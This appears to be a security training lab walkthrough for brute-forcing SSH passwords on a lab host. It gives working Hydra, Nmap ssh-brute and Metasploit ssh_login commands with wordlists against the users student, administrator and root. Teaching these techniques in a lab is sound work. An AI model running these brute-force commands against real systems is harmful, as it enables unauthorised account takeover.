Lab
SSH brute-force lab. The goal is to recover passwords for three users with three different tools, then read the message of the day shown at login.
Tasks
- Find the password of user "student" using hydra.
- Find the password of user "administrator" use appropriate Nmap scripts with password dictionary: /usr/share/nmap/nselib/data/passwords.lst
- Find the password of user "root" using ssh_login Metasploit module with userpass dictionary: /usr/share/wordlists/metasploit/root_userpass.txt
- What is the message of the day? (Printed after the user logs in to the SSH server).
Find Password for Student with Hydra
hydra -l student -P /usr/share/wordlists/rockyou.txt 192.137.163.3 ssh
Find Password for Administrator with Nmap
Write the username to a file, then point ssh-brute at it.
echo "administrator" > user.txt
nmap -p22 192.137.163.3 --script=ssh-brute --script-args userdb=/root/user.txt
Find Password for Root with MSFconsole
use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set RHOSTS 192.137.163.3
exploit